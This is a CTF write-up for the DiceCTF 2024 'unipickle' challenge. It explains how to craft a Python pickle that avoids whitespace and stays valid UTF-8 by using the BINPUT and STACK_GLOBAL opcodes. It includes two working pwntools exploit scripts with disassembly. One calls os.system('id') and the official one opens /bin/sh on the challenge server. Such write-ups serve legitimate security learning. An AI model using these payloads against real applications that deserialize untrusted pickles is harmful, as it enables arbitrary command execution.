# DiceCTF 2024 Quals unipickle

```
#!/usr/local/bin/python
import pickle
pickle.loads(input("pickle: ").split()[0].encode())
```

Requirements:

1. No whitespace (`.split()[0]`): use `STACK_GLOBAL` (no newlines needed)
2. Valid UTF-8 (`.encode()`): use `BINPUT` to consume leading byte 0xC2 as integer index, then `STACK_GLOBAL` as continuation byte 0x93

`STACK_GLOBAL` (0x93) is the only `find_class` opcode that doesn't need newlines. But 0x93 is a non-ASCII UTF-8 continuation byte, always preceded by a leading byte 0xC2 (from U+0093). `BINPUT` (q, 0x71) reads 1 byte as a memo index without pushing to the stack, making it ideal for consuming 0xC2 while leaving 0x93 as the `STACK_GLOBAL` opcode:

1. `q\u0093` -\> bytes `71 C2 93`
2. `q` reads `\xc2` as index 194, stores `stack[-1]` in `memo[194]`
3. `\x93` = `STACK_GLOBAL`: pops `'system'` (name), `'os'` (module) -\> `os.system`

## Approach A

See [https://www.justus.pw/writeups/dicectf-2024/unipickle.html](<https://www.justus.pw/writeups/dicectf-2024/unipickle.html>)

Attack script:

```
from pwn import *
context.log_level = 'info'

p = process(['python3', 'unipickle.py'])
s = 'U\x02osU\x06systemq\u0093(U\x02idtR.'
p.sendline(s.encode('utf-8'))
print(p.recvall(timeout=5).decode(errors='replace'))
```

Disassembled:

```
    0: U    SHORT_BINSTRING 'os'
    4: U    SHORT_BINSTRING 'system'
   12: q    BINPUT     194
   14: \x93 STACK_GLOBAL
   15: (    MARK
   16: U        SHORT_BINSTRING 'id'
   20: t        TUPLE      (MARK at 15)
   21: R    REDUCE
   22: .    STOP
```

`q\u0093` → BINPUT reads `\xc2` as index 194 without pushing, then `\x93` = STACK\_GLOBAL pops `'system'`/`'os'`.

## Approach B (official)

Official solution is taken from [https://github.com/dicegang/dicectf-quals-2024-challenges/blob/main/misc/unipickle/solution.py](<https://github.com/dicegang/dicectf-quals-2024-challenges/blob/main/misc/unipickle/solution.py>):

```
from pwn import *
p = remote('mc.ax', 31773)
p.sendlineafter('pickle: ', b'X\x02\x00\x00\x00osX\x06\x00\x00\x00systemq\xc2\x8f00h\xc2\x93(X\x07\x00\x00\x00/bin/shtR.')
p.interactive()
```

Disassembled:

```
    0: X    BINUNICODE 'os'
    7: X    BINUNICODE 'system'
   18: q    BINPUT     194
   20: \x8f EMPTY_SET
   21: 0    POP
   22: 0    POP
   23: h    BINGET     194
   25: \x93 STACK_GLOBAL
   26: (    MARK
   27: X        BINUNICODE '/bin/sh'
   39: t        TUPLE      (MARK at 26)
   40: R    REDUCE
   41: .    STOP
```

Two multi-byte sequences instead of one:

- `q\xc2\x8f`: BINPUT consumes `\xc2`, then `\x8f` = EMPTY\_SET.
- `00`: POP to remove frozenset, POP to remove `'system'`, leaving `['os']`.
- `h\xc2\x93`: BINGET reads `\xc2` as index, retrieves `'system'` from memo, then `\x93` = STACK\_GLOBAL.
